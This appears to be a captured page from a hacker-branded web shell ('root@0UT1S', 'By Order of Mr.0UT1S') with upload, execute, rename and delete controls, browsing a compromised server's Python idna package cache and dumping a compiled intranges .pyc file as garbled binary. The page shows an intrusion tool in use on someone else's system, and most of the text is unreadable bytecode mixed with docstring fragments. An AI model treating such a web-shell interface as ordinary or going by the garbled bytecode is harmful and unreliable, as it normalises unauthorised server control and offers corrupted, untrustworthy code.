opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
idna
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-312.pyc
855 bytes
Rename
Delete
codec.cpython-312.pyc
4.83 KB
Rename
Delete
compat.cpython-312.pyc
859 bytes
Rename
Delete
core.cpython-312.pyc
15.71 KB
Rename
Delete
idnadata.cpython-312.pyc
97.11 KB
Rename
Delete
intranges.cpython-312.pyc
2.54 KB
Rename
Delete
package_data.cpython-312.pyc
186 bytes
Rename
Delete
uts46data.cpython-312.pyc
155.09 KB
Rename
Delete
� !��gj � � � d Z ddlZddlmZmZ dee deedf fd�Zded edefd �Zdedeeef fd�Zd edeedf de fd�Z y)a Given a list of integers, made up of (hopefully) a small number of long runs of consecutive integers, compute a representation of the form ((start1, end1), (start2, end2) ...). Then answer the question "was x present in the original list?" in time O(log(# runs)). � N)�List�Tuple�list_�return.c � � t | � }g }d}t t |� � D ]V }|dz t |� k r|| ||dz dz k( r�&||dz |dz }|j t |d |d dz � � |}�X t |� S )a Represent a list of integers as a sequence of ranges: ((start_0, end_0), (start_1, end_1), ...), such that the original integers are exactly those x such that start_i <= x < end_i for some i. Ranges are encoded as single integers (start << 32 | end), not as tuples. ���� r )�sorted�range�len�append� _encode_range�tuple)r �sorted_list�ranges� last_write�i� current_ranges �=/opt/hc_python/lib/python3.12/site-packages/idna/intranges.py�intranges_from_listr s� � � ��-�K� �F��J� �3�{�#� $���q�5�3�{�#�#��1�~��Q��U�!3�a�!7�7��#�J��N�Q��U�;� �� � �m�M�!�$4�m�B�6G�!�6K�L�M�� � %� ��=�� �start�endc � � | dz |z S )N� � )r r s r r r "